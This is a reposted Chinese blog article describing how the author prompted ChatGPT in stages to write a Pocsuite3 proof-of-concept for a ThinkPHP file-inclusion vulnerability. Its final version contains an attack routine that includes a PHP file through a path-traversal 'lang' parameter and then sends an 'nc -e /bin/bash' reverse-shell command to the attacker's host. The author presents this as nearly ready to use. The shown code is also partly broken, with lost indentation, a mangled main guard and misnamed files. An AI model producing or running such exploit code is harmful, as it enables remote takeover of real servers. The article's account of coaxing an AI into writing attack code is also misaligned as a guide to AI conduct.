0
  • 聊天消息
  • 系统消息
  • 评论与回复
登录后你可以
  • 下载海量资料
  • 学习在线课程
  • 观看技术视频
  • 写文章/发帖/加入社区
会员中心
创作中心

完善资料让更多小伙伴认识你,还能领取20积分哦,立即完善>

3天内不再提示

通过ChatGPT来快速编写Pocsuite3

jf_Fo0qk3ln 来源:FreeBuf.COM 2023-01-29 11:06 次阅读

通过ChatGPT来快速编写Pocsuite3

前言

这一模型可以与人类进行谈话般的交互,可以回答追问,连续性的问题,承认其回答中的错误,指出人类提问时的不正确前提,拒绝回答不适当的问题。

简单来说,ChatGPT是一个AI,能够分析我们题出的问题,并且对此做出解答。可以通过ChatGPT来分析代码,或者让其根据我们的需求写出相应的代码,如下。

99029812-9f08-11ed-bfe3-dac502259ad0.jpg

所以,我就在想,能不能让它给我们编写poc,简化平时的一个工作,于是便有了这篇文章。

分析

发现

我发现,ChatGPT缓存了当此询问的结果,当我们前后两个问题相似的时候,ChatGPT会去分析两个问题的一个相似度,如果相似度过高,则会返回上一次分析的结果。而且对于有歧义的语句,其处理结果误差比较大,所以我们可以一开始给出一个简单的语句,然后通过逐步的训练,让其结果更加符合我们的预期。

过程

原理

在一开始,最好向CG(ChatGPT的简称)提供漏洞的相关原理,但是由我们直接去叙述,其准确性比较低,因为语言存在歧义,那么,我们可以通过引导的方式,去让CG了解和漏洞有关的信息,比如ThinkPHP最新的漏洞原理是因为多语言模式的开启导致的文件包含,如果我们直接询问。

990efa9e-9f08-11ed-bfe3-dac502259ad0.jpg

我们会发现,CG无法为我们解析出来,因为其实在这里lang_switch_on是config.php返回数组中的一个键名,准确来说并不是参数,所以这里解析才会出错。我们知道config.php会返回一个数组,但是CG因为并不会去解析config.php,所以在它并不觉得config.php会返回什么。

992fa726-9f08-11ed-bfe3-dac502259ad0.jpg
但是我们换一种方法,我们询问,

993b6246-9f08-11ed-bfe3-dac502259ad0.jpg

我们会发现,CG给出了我们一个流程,那么在这里,CG就记住了这一答案,当我们在漏洞原理中加入了这句话,那么CG就能正确解析。

分段

当我们直接通过一大段话让其给我们编写程序的时候,你会发现会有很多错误,如下。

994a0f1c-9f08-11ed-bfe3-dac502259ad0.jpg

根据我上面的发现,我突然想 ,我们可以先给出一个简单的需求,在后面不断基于之前给的答案,增加其准确度就行。如下。

首先,询问是否知道pocsuite,并要求给出一个例子。

9a3fd186-9f08-11ed-bfe3-dac502259ad0.jpg

import pocsuite3
from pocsuite3.api import requests as req
from pocsuite3.api import register_poc
from pocsuite3.api import Output, POCBase


class TestPOC(POCBase):
    vulID = '12345'
    version = '1.0'
    author = 'test'
    vulDate = '2022-01-01'
    createDate = '2022-01-01'
    updateDate = '2022-01-01'
    references = ['https://example.com/vul/12345']
    name = 'Test POC'
    appPowerLink = 'https://example.com'
    appName = 'Test'
    appVersion = '1.0'
    vulType = 'Test Vul'
    desc = '''Test POC Description'''
    samples = ['']

    def _attack(self):
        # your code here
        pass

    def _verify(self):
        # your code here
        result = {}
        return self.parse_output(result)

    def parse_output(self, result):
        output = Output(self)
        # your code here
        return output


def main():
    register_poc(TestPOC)


if __name__ == '__main__':
    main()

接着,添加对漏洞的描述,要求其改进。

import pocsuite3
from pocsuite3.api import requests as req
from pocsuite3.api import register_poc
from pocsuite3.api import Output, POCBase


class ThinkPHP5_File_Inclusion(POCBase):
    vulID = '12345'
    version = '1.0'
    author = 'test'
    vulDate = '2022-01-01'
    createDate = '2022-01-01'
    updateDate = '2022-01-01'
    references = ['https://example.com/vul/12345']
    name = 'ThinkPHP5 File Inclusion Vulnerability'
    appPowerLink = 'https://thinkphp.cn'
    appName = 'ThinkPHP'
    appVersion = '5.0'
    vulType = 'File Inclusion'
    desc = '''
    This POC checks for a file inclusion vulnerability in ThinkPHP 5.0.
    To exploit this vulnerability, the LANG_SWITCH_ON value in the config.php file must be set to true,
    and a malicious lang parameter must be passed in the URL.
    '''
    samples = ['']

    def _attack(self):
        # your code here
        pass

    def _verify(self):
        result = {}
        # your code here
        return self.parse_output(result)

    def parse_output(self, result):
        output = Output(self)

这时候,我们再添加一些信息。

9a53927a-9f08-11ed-bfe3-dac502259ad0.jpg

import pocsuite3
from pocsuite3.api import requests as req
from pocsuite3.api import register_poc
from pocsuite3.api import Output, POCBase

class ThinkPHP5_File_Inclusion(POCBase):
vulID = '12345'
version = '1.0'
author = 'test'
vulDate = '2022-12-09'
createDate = '2022-12-09'
updateDate = '2022-12-09'
references = ['https://tttang.com/archive/1865/']
name = 'ThinkPHP5 File Inclusion Vulnerability'
appPowerLink = 'https://thinkphp.cn'
appName = 'ThinkPHP'
appVersion = '5.0'
vulType = 'File Inclusion'
desc = '''
This POC checks for a file inclusion vulnerability in ThinkPHP 5.0.
To exploit this vulnerability, the LANG_SWITCH_ON value in the config.php file must be set to true,
and a malicious lang parameter must be passed in the URL. This can allow an attacker to include the
phearcmd.php file and execute arbitrary commands.
'''
samples = ['']

def _attack(self):
    # your code here
    pass

def _verify(self):
    result = {}
    # your code here
    # send a request with a malicious lang parameter
    url = self.url + '?lang=../phearcmd.php'
    r = req.get(url)

    # check if the phearcmd.php file was included
    if 'PhearCommand execution' in r.text:
        result['VerifyInfo'] = {}
        result['VerifyInfo']['URL'] = url

    return self.parse_output(result)

def parse_output(self, result):
    output = Output(self)
    if result:
        output.success(result)
    else:
        output.fail('The vulnerability could not be verified')
    return output

def main():
register_poc(ThinkPHP5_File_Inclusion)

if name == 'main':
main()

最后,我们再补充一点。

9a6c8da2-9f08-11ed-bfe3-dac502259ad0.jpg

import pocsuite3
from pocsuite3.api import requests as req
from pocsuite3.api import register_poc
from pocsuite3.api import Output, POCBase

class ThinkPHP5_File_Inclusion(POCBase):
vulID = '12345'
version = '1.0'
author = 'test'
vulDate = '2022-12-09'
createDate = '2022-12-09'
updateDate = '2022-12-09'
references = ['https://tttang.com/archive/1865/']
name = 'ThinkPHP5 File Inclusion Vulnerability'
appPowerLink = 'https://thinkphp.cn'
appName = 'ThinkPHP'
appVersion = '5.0'
vulType = 'File Inclusion'
desc = '''
This POC checks for a file inclusion vulnerability in ThinkPHP 5.0.
To exploit this vulnerability, the LANG_SWITCH_ON value in the config.php file must be set to true,
and a malicious lang parameter must be passed in the URL. This can allow an attacker to include the
phearcmd.php file and execute arbitrary commands, including a reverse shell.
'''
samples = ['']

def _attack(self):
    # your code here
    # send a request with a malicious lang parameter to include phearcmd.php
    url = self.url + '?lang=../phearcmd.php'
    r = req.get(url)

    # check if the phearcmd.php file was included
    if 'PhearCommand execution' in r.text:
        # send a request to execute a reverse shell command
        command = 'php -r "system('nc -e /bin/bash {0} {1}');"'.format(self.options.get('lhost'), self.options.get('lport'))
        url = self.url + '?phearcmd=' + command
        req.get(url)

def _verify(self):
    result = {}
    # your code here
    return self.parse_output(result)

def parse_output(self, result):
    output = Output(self)
    # no output is necessary for this POC
    return output

def main():
register_poc(ThinkPHP5_File_Inclusion)

if name == 'main':
main()

到这里,基本上就可以拿来改改就能直接使用了。

结论

通过以上的利用和分析,我们能感受到CG的一个强大,当CG对于我们的一个问题的解决结果误差较大的时候,我们可以逐步进行求解,让其引擎对结果进行不断的修正,这样最终的结果误差较小。以上只是一个简单的案例,还有更多的可能等待挖掘。

审核编辑:汤梓红

声明:本文内容及配图由入驻作者撰写或者入驻合作网站授权转载。文章观点仅代表作者本人,不代表电子发烧友网立场。文章及其配图仅供工程师学习之用,如有内容侵权或者其他违规问题,请联系本站处理。 举报投诉
  • AI
    AI
    +关注

    关注

    87

    文章

    30887

    浏览量

    269054
  • 模型
    +关注

    关注

    1

    文章

    3243

    浏览量

    48835
  • 代码
    +关注

    关注

    30

    文章

    4788

    浏览量

    68601
  • 编写
    +关注

    关注

    0

    文章

    29

    浏览量

    8443
  • ChatGPT
    +关注

    关注

    29

    文章

    1560

    浏览量

    7664

原文标题:通过ChatGPT来快速编写Pocsuite3

文章出处:【微信号:菜鸟学信安,微信公众号:菜鸟学信安】欢迎添加关注!文章转载请注明出处。

收藏 人收藏

    评论

    相关推荐

    ChatGPT如何使用RLHF克服GPT-3存在的问题

    ChatGPT 是 OpenAI 发布的最新语言模型,比其前身 GPT-3 有显著提升。与许多大型语言模型类似,ChatGPT 能以不同样式、不同目的生成文本,并且在准确度、叙述细节和上下文连贯性上具有更优的表现。
    发表于 03-10 09:41 840次阅读

    写小说、编写程序!强大的ChatGPT也有它的局限性!

    神经网络。Transformer架构广泛应用于语言翻译、文本摘要、问答等自然语言处理任务。   ChatGPT可用于创建能与用户进行对话的 聊天机器人 ,由ChatGPT构建的对话机器人,可以高质量的回答用户的提问,能够写小说,编写
    的头像 发表于 12-08 00:59 5001次阅读

    【国产FPGA+OMAPL138开发板体验】(原创)6.FPGA连接ChatGPT 4

    , SEND_TO_CHATGPT = 2, DISPLAY_RESPONSE = 3;: 哇,我们的状态机好复杂啊,有四个状态!不过没关系,我们可以一步步。 再写个简单的: 首先,我需要澄清一点,
    发表于 02-14 21:58

    怎么通过FPGA快速检测DDR3是否工作正常

    在一个项目中,发现数据有异常,想判断FPGA外挂的DDR3正常工作。因为实际生产中,ddr容易出现虚焊或者使用一段时间后管脚出现接触不良等问题。{:2:}现在想编写一个程序快速判断,
    发表于 04-12 16:56

    科技大厂竞逐AIGC,中国的ChatGPT在哪?

    ChatGPT就是在GPT-3的基础上通过指令微调后得到的。 图源:OpenAI官网 结果,2022年年底ChatGPT实现了现象级的传播,这出乎制作团队所料。OpenAI用了
    发表于 03-03 14:28

    【米尔MYD-JX8MMA7开发板-ARM+FPGA架构试用体验】4.使用ChatGPT助力测试GPU

    领域的多种应用场景比较适用。本次将测试该开发板的GPU图形图像处理能力,并在ChatGPT帮助下使用OpenGL E2.0 开发一个简单的3D模型实时渲染的应用,及使用ChatGPT
    发表于 04-10 02:07

    SecurityPoc基于Pocsuite3开发的POC插件扫描器

    gitee-security-poc.zip
    发表于 05-06 11:10 0次下载
    SecurityPoc基于<b class='flag-5'>Pocsuite3</b>开发的POC插件扫描器

    ChatGPT编写各种脚本

    最牛逼的还是属于程序编写方面,ChatGPT在各个编程语言上面都挺在行的(尝试了下Python, Perl, Tcl都挺不错的),可以说是一个各个语言都很了解的程序员了。
    的头像 发表于 01-13 10:11 7394次阅读

    chatgpt是什么

    chatgpt是什么 ChatGPT,美国OpenAI 。ChatGPT是人工智能技术驱动的自然语言处理工具,它能够通过学习和理解人类的语言
    发表于 02-10 14:05 4w次阅读

    chatgpt怎么用

    chatgpt怎么用 chatgpt怎么用?chatgpt 简介 ChatGPT是一种语言模型,它被训练对对话进行建模。它能够
    发表于 02-10 14:22 5.8w次阅读

    体验一下ChatGPT带我们写代码快感

    OpenAI的ChatGPT是一种自然语言处理技术,它可以帮助开发者快速地完成代码的编写通过ChatGPT与Python相结合,开发人员
    的头像 发表于 02-14 09:31 1992次阅读

    如何通过Python与ChatGPT对话

    文章目录 简介 安装 OpenAI API 实例1预备条件: 1. 科学上网; 2.注册 OpenAI 账号 。 简介 ChatGPT 是 GPT-3 语言模型的变体,专为会话语言生成而设计。要在
    发表于 02-15 09:55 0次下载
    如何<b class='flag-5'>通过</b>Python与<b class='flag-5'>ChatGPT</b>对话

    ChatGPT for SegmentFault 插件来袭 ChatGPT for SegmentFault 插件使用方案解读

    ChatGPT for SegmentFault 插件来袭,你真的准备好了吗?AI的改变有多大,让我们拭目以待,     ChatGPT for SegmentFault 是一款基于GPT-3的聊天
    的头像 发表于 02-16 18:45 2956次阅读

    从攻击视角探讨ChatGPT对网络安全的影响

    、情景模型和语言模型来自动生成文章,甚 至可以按照用户的要求编写代码。 那么ChatGPT会对网络安全行业带来哪些影响呢? 接下来我们将通过系列文章,分别从“攻”、“防”、ChatGPT
    的头像 发表于 02-22 08:15 1427次阅读